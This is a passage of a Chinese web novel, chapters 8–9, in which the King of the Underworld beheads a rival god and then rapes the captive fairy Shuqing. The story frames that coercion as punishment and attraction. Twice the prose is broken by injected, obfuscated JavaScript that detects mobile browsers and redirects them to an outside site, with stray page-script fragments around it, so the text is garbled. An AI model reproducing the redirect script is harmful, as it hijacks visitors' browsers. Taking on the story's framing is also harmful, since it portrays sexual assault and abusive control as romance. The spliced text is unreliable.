他们亲眼所见,也是四只耳朵都听到了,这两个小管事对着漱清出言不逊,还肆意谈论冥王私事。 要往重了处罚,也是没命。 直到此时,护卫才终于明白,刚刚漱清的反常是为了什么。 就是故意演的一出戏,为了证明自己的行为合情合理,是两个小管事挑衅蔑视在先。 而他们两个护卫就是证人。 “不过你们这护卫做的,实在不怎么样。” 漱清冷冷说道:“连贴身佩剑都这么容易被旁人抽出来,要真遇上危险,怎么指望你们保护我?” “……” “呵,不过也是,还说保护我呢,刚才我被这么奚落讽刺,你们竟然都无动于衷,这是保护我该有的样子吗?“ “真不明白冥王殿下怎么会派你们这两个废物过来。” 护卫还没任何能反驳的话。 被漱清这么玩弄数落后,居然不得不承认一句:“……是属下失职,小仙见谅。” “哼。” 漱清拍了拍手,甩甩被沾上灰烬的衣摆,转身离去。 大管家敢针对苛待他,他不仅要当面回击,还要铲除他的亲信,以示威胁。 要怪就怪他们藏不住那点小心思,也管不住自己那张嘴吧。 否则怎么会被漱清抓住可深究的话柄呢? 出了这口气,漱清心情变好,回去后吃的东西都多了。 前两天闻什么都觉得腻味,什么都不想吃,今天倒是吃了两碗酒酿圆子,还吃了好几块齁甜的酥糕。 就是晚上刚躺下,房门突然被用力踹开,几天不见的冥王殿下一脸怒容地出现了。 “你当真是连本王都不放在眼里了!” 冥王脚步急,走路时带起一阵风进来。 “前几天才教训过你,不准你再滥用私刑,你倒好,直接杀人灭口了!” 嗓门真大。 震得漱清心脏都颤抖。 漱清捂着心口坐起来,一言不发地看向冥王。 今晚没再穿那些颜色鲜艳的衣服了,此时就是件梨白色的里衣。 但凑近了看,材质是垂顺柔滑的丝绸,轻盈薄透,若隐若现,还印着精美花卉图案。 肤白凝脂的小美人,黑发如瀑,眸色湿润,身形纤细。 就这么静静坐在那里。 看上去无辜可怜,似乎是他遭受了什么不公待遇。 “……别做出这副委屈的模样看着我,你到底做了什么,你心里没数吗?” 漱清心里很有数。 就是太有数了,所以才要这样。 “……是他们侮辱嘲讽我在先,我一时气急,才会这么做的。” 漱清委屈地说:“护卫都能为我作证,我只是路过那里,是他们非要招惹我的。” 8.第 8 章 杀两个小管事算什么? 漱清有理有据,还有两个护卫人证,只要冥王不追求,这事就跟打两个喷嚏一样,荡不起半点波澜。 说到底,冥王主宰这里的一切,好坏全凭他一张嘴说了算。 他也不相信冥王会为这么一件小事生气,此时的怒气,主要还是出于对自己的不满。 刻意冷落自己这么多天,结果自己不仅没有去求饶认错,而是又跑出去惹是生非,冥王能不气吗? 漱清站起身,缓缓走到冥王面前。 “……殿下就算不信我,总该相信自己挑选的护卫吧?他们说是保护我……虽然根本保护不好我,任由我被别人欺负。” 冥王眯起眼,冷笑了一下。 有时他都佩服这只小蝴蝶。 看上去多无辜委屈的模样,实则这种情况还不忘告状。 不管发生过什么,总能叙述成对自己最有利的局面。 “别人欺负你?”冥王冷哼,“这里还有谁能欺负你吗?” “怎么没有,他们当面嘲笑我,说我是被殿下厌弃了……” 漱清抬眼看向冥王,眼角都冒着可怜的水汽:“我也以为,殿下不会再来找我了呢……” 心里可惜,要真不来就好了。 不来就把他放了吧,他还能早点回去仙山。 但这么两句,直接将自己没去找冥王认错的现实掩盖过去。 似乎不是他不去,而是没有冥王的任何指示,他根本不敢过去。 冥王挑眉,捏住他的手腕:“就你这点小花招,真当我看不出来?” 装着顺从温顺,其实心里比谁都有主意。 不吃软也不吃硬。 总是当面虚心听教,转个身就什么都忘光,还屡教不改。 可从来没人敢在他面前这样。 连勾引手段都如此特别。 “成日犯错挑事,撒个娇就想蒙混过去?我看你这几天是半点都没反省。” 漱清心里冷哼,反省什么呢,都是对面主动贴上来的,如果这些家伙能捂好尾巴,自己想抓也抓不到。 见漱清沉默,冥王另只手捏起他的下巴:“你以为摆出可怜无辜的模样,给我灌点迷魂汤,我就可以什么都不计较,就能放过你了?” ……迷魂汤? 漱清差点没忍住皱眉,谁想给冥王灌迷魂汤了? “仗着自己有几分姿色,就用这张脸勾引迷惑我,呵,也对,毕竟这是你最了得的手段。” “……” 唯独这件事,是漱清最没办法接受的。 他从来没想过要勾引冥王。 就算现在能仗着冥王的权势狐假虎威,不用看底下其他人脸色,可如果有的选,他宁可当回先前伺候的职位,做个能力出众的下人就行。 他只想安稳等着罚期结束,离开这里。 是冥王让局面变成了他不喜欢的模样。 是冥王造就了这一切,让他从此在冥界的地位尴尬。 结果竟说是他勾引? 漱清恨不得也给冥王一巴掌。 “怎么不说话了?你不是最伶牙俐齿,最会为自己辩解吗?” 多说两句,话题就不可避免地回到了漱清甩山神巴掌这件事上。 冥王最在意的,还是山神对漱清起过的觊觎之心。 “那天你也是用这种方式对付我六弟的吧?” “……” “他不是什么好东西,你未必就清清白白,颠倒黑白也是你惯用的伎俩,跟这次一样。” “总不至于是你想勾引他没成功,怕被我惩罚,所以才——” 啪—— 冥王的话未能说完,在那一秒,漱清只感觉愤怒涌上心头,割裂所有理智,浑身被浸泡在怒火烈浴里,等反应过来,手臂已经挥舞起来,巴掌真甩在了冥王脸上。 声响清脆。 漱清掌心都阵阵刺痛。 无尽的沉默包裹着恐惧,将这一刻笼罩。 很久之后,冥王的声音先响起:“呵。” 手指轻触被漱清打过的部分,正在发热作疼。 冥王不敢相信刚才发生了什么,气极反笑:“你连我都敢动手?” “……” 漱清额前渗出汗珠,胸腔起伏,脑内全是混乱的大片白点。 冥王的话是让他很生气没错。 可他怎么能对冥王动手? 真是活腻了吗? 漱清心底立即爬上几分悔恨,却又觉得无法控制。 刚才那股情绪来得很冲动很突然,就像有股火,一下从肚子烧到了脑袋,烧得他失去所有意识。 等反应过来,只感觉到了掌心的疼痛。 怎么办。 怎么办怎么办。 冥王不会杀了他吧? 这下别说厌弃了,怕是要被千刀万剐再碎尸万段了。 漱清闭了闭眼,慌乱片刻后,最终还是稳定下来。 罢了。 打都打了,光阴又不能倒退。 “……我本以为,殿下即便凶狠严厉,却是能讲道理,是非分明的。” 正如冥王所说,不管发生什么事情,他都能将场面说成最有利自己的情况。 “我并不能离开冥界,去招惹山神殿下做什么?那天分明是他过来,轻薄了我在先……至于为什么要轻薄我,那当然是因为他与殿下不合,想拿我恶心殿下罢了。” 反正最坏结果就是碎尸万段,那不如把这些话说爽了。 “如果我跟殿下毫无关系,只是普通的杂役下属,山神殿下犯得着来接近我吗?” “他想针对的难道是我吗?他想针对的分明是殿下,只是他不敢直接与殿下为难,所以才拿我下手。” 漱清气都不喘一口,大段话说得无比流利:“今晚殿下也是,殿下当然明白山神殿下意欲何为,只是也不敢与他为敌,所以拿我出气。” “……我不敢,与他为敌?” 冥王阴恻恻的声音响起,似笑非笑,听得人心里发毛。 漱清心跳变快,感觉肚子都抽了一下,浑身肌肉紧绷。 但已经说到这种份上,没有回头路能走了。 “……难道不是吗?” 他选择继续说下去。 “……殿下明知错不在我,却迁怒到我身上,不就是忌惮山神,拿我出气吗?” “你知道自己在说什么吗?” 漱清咽了咽口水:“……我知道自己在说什么,殿下呢,知道自己做了什么吗?” “殿下又是惩罚我,又是奚落我,能起什么效呢?即便我今天死在这里,殿下房里换了其他人,山神殿下就会收敛求和吗?” “殿下房里换了谁都一样……殿下要真觉得是我的错,大不了把我送给山神,也许山神高兴了,以后就不为难殿下了。” 听着似乎有挑拨离间的成分,但山神跟冥王之间的关系,不用别人挑拨,本身就四分五裂。 漱清说得有些夸张,却也都是实话。 是他平白无故被山神恶心了一顿,结果冥王反过来污蔑他。 他受不了。 说完这些,他们面对面站着,像在进行一种沉默的对峙,谁都没再开口。 时间越久,漱清心里越没底,后背浸出一层薄汗。 谁能不怕死呢。 要真因为一巴掌死在今晚,他自己都难以原谅这份冲动。 可就在漱清以为自己怎么都躲不过去时,冥王却一言不发地转身走了。 衣摆飘扬,大步流星。 就是带着明显的怒气,震飞了屏风跟外边的桌椅。 虽然不知道接下去会怎么样,但目前至少有了喘口气的空隙。 漱清跌坐在床边,大口喘气,才发现自己浑身软得厉害,肚子更是一抽一抽的疼。 过了一会儿,侍女小心翼翼地进来收拾,还端了碗糖水给漱清。 “小仙……殿下已经走了,喝口水压压惊吧……” 听着里面的争吵声响起时,侍女跟护卫都受到不小惊吓。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573125|171376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听到漱清那记响亮的巴掌声时,更是惊得差点魂飞魄散。 还以为漱清至少会在冥王面前乖顺。 没想到他连冥王都敢打。 漱清面色苍白,摇了摇头:“我不想喝,拿下去吧。” 侍女也不强求,但还是忍不住问:“小仙……你怎么能跟殿下动手呢?” “没忍住。” “……” 但第一次看到漱清这么苍白害怕的模样,侍女想他也是恐惧的,便没再多说。 “小仙赶紧休息吧,殿下估计不会再来了,这会儿肯定也在气头上,明天再去向殿下认错吧。” …… 但怎么可能睡得着。 漱清躺上床闭了眼,屋内恢复一片寂静,然而胸腔内的情绪还在澎湃起伏,完全无法平静。 等到终于有些迷糊的睡意时,房门又被重重踹开。 裹着凌冽杀意的寒风灌入。 漱清瞬间浑身激灵,直接从床上坐起来。 转过身,便对上一身杀气的冥王。 而冥王手上,正握着一把长剑,昏暗光线下,剑身折射出阴森恐怖的光。 漱清立即瞪大眼睛,以为冥王是真来杀他了,下意识往床里面缩。 可下一秒,冥王又扔掉了手上的长剑,开口说道:“你说得对。” “……” 漱清不明所以,不敢回答,直到冥王将另一只手上的东西也扔下。 漱清这才注意到,视线下意识飘过去看——竟是山神的头颅。 心脏当场如鼓擂般剧烈大惊。 漱清感觉一口气差点透不出,再看向冥王,才发现他的衣服上全是血迹,脸上跟手上也都是。 漱清瞪着双眼,除了急促呼吸,就这么呆呆地看着冥王外,竟什么反应都做不出了。 再听冥王说话,连声音都透出股阴冷潮湿的杀气。 “你说得对。”冥王又说了一遍,“我最应该惩罚的是他,竟敢觊觎我的东西,死几百遍都不足惜。” 而漱清从未像此刻此刻,这么真切清晰感受到他的身份,以及他所能带来的恐惧。 这就是冥界之主。 掌管万物生死的王。 “我对他的惩罚,就是杀了他。” 冥王指向漱清:“接着才是你,几次三番不听我话,惹是生非,都敢对我伸爪子了。” “……” “你自己说说,我该怎么罚你才好。” “……” 见漱清面色苍白,魂不守舍,是真被吓到的模样,冥王笑了:“是我平时太纵容你了,你确实不知道,我真生气时是怎么样的。” 冥王脱去外衣,裹着浑身的杀气跟血腥味朝他靠近。 “害怕吗?” “怕就对了,以后要听话,别惹我生气……再有下次,我会把你的爪子剁了。” 漱清没有反应,更没抵抗,周身只被冥王带来的寒气包围,以至于单薄衣服被撕扯掉都毫无察觉。 等难言的疼痛将他拽过神来时,身体已经像被钉在床上,连呼吸都费劲。 冥王带来的杀气很冷,身体却很热,也让漱清感到很痛。 是惩罚。 是驯服,是警告。 冥王掐着他的脖子,没让他感到窒息,却也没让他呼吸太舒服。 漱清浑身颤抖,终于有了反抗的回应:“……不要,放手!我不要这样!” 可惜连冥王的手掌都反不出。 “你不配跟我提任何要求,不过是给我暖床的玩意儿……你该庆幸我现在还舍不得杀你,否则你早被我剁碎了。” 漱清什么都听不清,又挣扎地往前爬,无奈根本挪动不了分毫。 “殿下我错了,我知道错了……我再也不敢了……” 极度畏惧的泪水簌簌落下,漱清是真怕了,头一回如此崩溃地求饶。 冥王紧紧按着他不放:“知道错了就好,以后要听话。” “虽然我还舍不得杀你,但我可以干/.死你。” 9.第 9 章 漱清忘了自己是什么时候睡去的,只感觉睡了很久很久,睡得并不安稳,总能听到外面的声音,全程似醒非醒。 他听到冥王起来的动静,离开了房间。 后来又听到冥王回来的声音,似乎在问侍女什么话,还来床边看了看他。 如此反复好几次,漱清都有模糊的感知,只是身体无比沉重,挪动不了分毫。 起初还感觉身体很冷,时不时突然打颤发抖,直到被圈入一个怀抱之中,又开始变得很热。 漱清不喜欢冷,也不喜欢热,无奈没有挣扎的力气,只能这么热着睡去。 这回睡得沉了些。 结果又做了个噩梦。 梦到自己竟被打回原形,变成了蝴蝶的形态,还不幸撞在一片蜘蛛网上,被蛛网束缚全身。 他拼尽全力挣扎,却不能挣脱丝毫,眼睁睁看着自己荧光闪闪的蓝色翅膀被撕裂,最后竟幻化成了另一只很小很小的蝴蝶。 一只很像自己的小小蝴蝶。 却是黑色的,还散发着冥王身上才有的气息。 漱清不喜欢这只小蝴蝶,甚至有些恐惧。 果不其然,小蝴蝶渐渐变成了一团黑色的小怪物,顺着蜘蛛网朝他爬来。 明明没有发出任何声响,可漱清就是能意识到,这只小怪物是想吃他的血肉。 蜘蛛网已经困住他的所有行动,又来一只小怪物想吃他,漱清急得不行,忍着翅膀被撕裂的疼痛,加剧了挣扎。 直到小怪物爬上他的身体,漱清才终于从噩梦中逃离,猛地睁开双眼。 冷汗浸透了里衣,大口喘着粗气,一下从床上坐起。 等到呼吸心跳平缓后,整个人才渐渐平静。 看向四周,仍在他的房间内。 很安静。 没有冥王,也没有侍女,看外面的光线,应该是白天。 “……春、春梨?” 漱清喊了声侍女,喉咙却又干又痛,说话都不流畅。 很渴很饿。 漱清猜想自己应该睡了很久。 掀开被子下床,想给自己倒口水喝,结果脚底才落到地面,双腿直接发软,整个身体摔倒在地。 此时外面也有了声响,是侍女进来了,看到漱清趴在地上,连忙过来扶他。 “……小仙,你没事吧?” “……没事。” 漱清搭着她的手,慢慢起来了,在床边坐下:“我睡了多久?” 侍女回答:“小仙睡了好久,已经过去两晚了。” 难怪他会这么饿,嗓子还这么难受。 “……我很饿,我想吃东西,还要喝水。” “奴婢这就去准备。” “……嗯。” 不过奇怪的是,这回漱清并不觉得哪里难受。 以往被冥王这么折腾一晚,他必然浑身不适,需要休息好几天。 这回睡的时间是久了些,醒来还又饿又渴,但身体非但没有任何不适,反而前所未有的力量充盈。 难不成是冥王渡灵力给他了? 总不可能是他偷偷吸食冥王灵力了吧? 侍女很快端来食物。 漱清说着很饿,吃得也很急,但实际却没吃太多,猛塞五六口又喝了几口水后,就不吃了。 面色苍白憔悴,神情沉思呆愣,长发散着,只穿着一件单薄的里衣。 见惯了漱清总是得意张狂的模样,第一次见到他如此脆弱的一面,侍女最大的感受竟是冥王到底有多过分,居然能将漱清折腾成这样? “……我来为小仙梳洗换衣吧?” 漱清摇摇头:“不用了。” 侍女不敢置信,平时漱清最在意外貌,不管去哪都要打扮得漂亮。 哪怕闭门不出,只是躺着休息,也要将头发梳得整齐干净,还会换件里衣。 今天居然连头发都不梳了。 肯定是被冥王吓坏了。 也难怪。 那晚看到冥王拎着山神的头颅回来,他们都被吓得不轻。 其他人早上进屋打扫时,更是吓得浑身颤抖。 他们还只是短暂接触。 但漱清是被冥王关在屋内,待了整整一个晚上。 当晚谁都没敢进去,没人知道里面发生了什么。 侍女想了想,试图安慰小仙:“……冥王殿下心里,还是有小仙的,小仙睡着的时候,殿下来看过好几次呢……还说等小仙醒来,就让人立马通知呢……” 漱清眼波颤了颤:“有人去通知了吗?” “有啊,小仙一醒,我就叫人去通知了。” “……” “……小仙?” “出去。” 侍女一僵。 “出去,我想自己待着。” “……是。” 侍女不明白自己说错了什么,但明显能感受到漱清是对自己生气了。 不敢多言,很听话地退下。 刚到门口,便跟过来的冥王遇上,侍女弯腰下蹲行礼:“……见过殿下。” 冥王摆摆手,大步往里面走去。 前后不过几秒,可等冥王绕到屏风后,根本没见到漱清。 ——只见漱清迅速钻进床底,留下一截淡绿色的衣摆。 冥王身形高大威严,几步走到旁边:“你躲什么?” 漱清没有回答,但露在外面的一截衣服也迅速被扯进床底。 “不见我?你能永远不见我?” 冥王嘴角带着笑意,说话时的语气音调却故意很冷。 “又不听话了?要我亲自动手把你拉出来吗?” 发生过那晚的事,这种威胁对任何人来说都很可怕。 对漱清也不例外。 但漱清仍旧没有任何反应,就这么躲在床底,不出声也不动作。 像在沉默地对峙:有本身你就真动手将我拉出去。 “自己出来,别逼我动手,想想不听话的后果,你还敢承担吗?” 漱清不敢。 但漱清就是不出去。 因为他也坚信,冥王不可能真做出这种事。 他只是钻床底下,又不是踩冥王头顶上,有什么值得生气的。 金尊玉贵的冥王大人难道真会因此弯下腰,伸手来床底下拉他吗?还是要把他睡的床整个掀翻呢? “我数到三,你马上就出来。” 声音冷若冰霜,让漱清想起那晚冥王裹着杀意进来时,那把沾着阴森血迹,折着惨淡光线的长剑。 漱清身体又颤了颤。 “三。” “二。 “一。” “……” 但三个数都数完了,漱清还是沉默地缩在床底,没有任何回应,就是不肯出去。 害怕却坚持对抗到底。 好在冥王并不是真的生气,也没有要生气,对于漱清的反应,更不觉得意外。 这只小蝴蝶一贯如此。 装无辜装可怜,害怕的时候脆弱求饶,抓不到他的时候就我行我素,一切必须以自己的主意为准,不见棺材不落泪。 但冥王并没有讨厌他这种性格,相反就是被漱清这样的性格吸引,才会起了想要征服的欲望。 眼下也觉得挺好。 还能继续坚持自己的脾气跟原则,看来他没将小蝴蝶吓得太过分。 “看来这回你是真知错了。” “……” 虽然没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582229|171376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得到漱清的回应,但冥王能自圆其说下去:“罢了,你爱钻床底就在床底待着吧,正好反省反省。” “本王还有其他事务处理,懒得管你。” 冥王没多做停留,说完这些,真转身走了。 漱清没有立刻出去,还是继续趴了一会儿,生怕冥王会突然杀回来。 知不知错很难说,但此时漱清很知道,自己应该想办法离开冥界了。 冥王手段狠戾残暴,脾性又阴晴不定,连山神都敢说杀就杀,哪天真有可能连自己也杀了。 若他继续留在这里,大概率死路一条。 开什么玩笑。 他怎么可能真交代在这种地方,他还要回去仙山,回到仙君身边的。 漱清咬牙切齿,必须想办法离开这里了。 …… 漱清颓废了好几天,也继续躲了冥王好几天。 整日衣服不换,头发不梳,更不出房门,连东西都吃很少,就像只躲在洞穴里的小野兽,对外面充满了戒备。 冥王每天都有来看他,但每次他都躲床底,不说话不出去,不管冥王如何威逼利诱都没用。 有次冥王差点真翻床板,第二天漱清就换了躲的地方,直接变回原形飞到了花里。 屋内每天都会摆上新鲜的花朵,那天又正好是蓝色的花,花瓣很大,层层叠叠,藏一只蝴蝶绰绰有余。 谁都没想到漱清会来这招,冥王还以为他逃出去了,四处搜寻,闹得一阵人仰马翻,最后还是漱清睡着了,从花瓣上掉下去,才被侍女发现就在桌上。 房间里没花了。 床也被换了。 冥王还用法术封住了漱清的部分灵力,不准他再变回原形。 漱清很无奈,只能成天在贵妃榻上躺着了。 “……小仙快看,这些都是新来的布料,这下可以做好多新衣服呢。” “还有这些,都是人间的新奇小玩意儿,小仙想玩吗?” “小仙饿不饿,最近殿内多设了一个小厨房,能做好多新花样,小仙要不要试试?” “小仙……要不要去花园走走?小仙好久没出门了,我给小仙梳洗换衣,出去走走吧?” 侍女天天在耳边念叨,聒噪得漱清受不了,终于给了拒绝的回答。 “不想去。” “为什么不想去?”侍女说道,“如今花园更漂亮了,多了好些新的种类,花瓣开得又大又多,小仙一定会喜欢的。” 漱清背对侍女侧躺着,闭着眼:“出去只是让所有人都笑话我,何苦去找这个晦气。” “……怎么会呢?谁敢笑话小仙?” “就算当面不敢,心里肯定都这么想。” 漱清平淡地说:“我累了,不想再管这些人心里是怎么想了,也懒得再想办法治他们了,从此以后我只待在这里,整个冥界也能太平。” “……” 侍女顿住,不知如何回应了。 但身后很快接上另一道声音:“本王陪你去,任谁心里也不敢这么想了。” 是冥王进来了。 侍女连忙行礼:“……见过殿下。” “下去吧。” “……是。” 侍女连忙退下,屋内只剩漱清跟冥王。 但漱清一动不动,仍保持着侧躺的姿势,看都不看冥王一眼。 冥王走近,在边上坐下:“……还在生气?都几天了,气性就这么大?” 逃又逃不掉,躲也没处躲,漱清被迫面对冥王,语气淡淡的:“没生气。” “……那你还不起来?” “身体不适,殿下见谅。” “看着我。” “不看。” “……”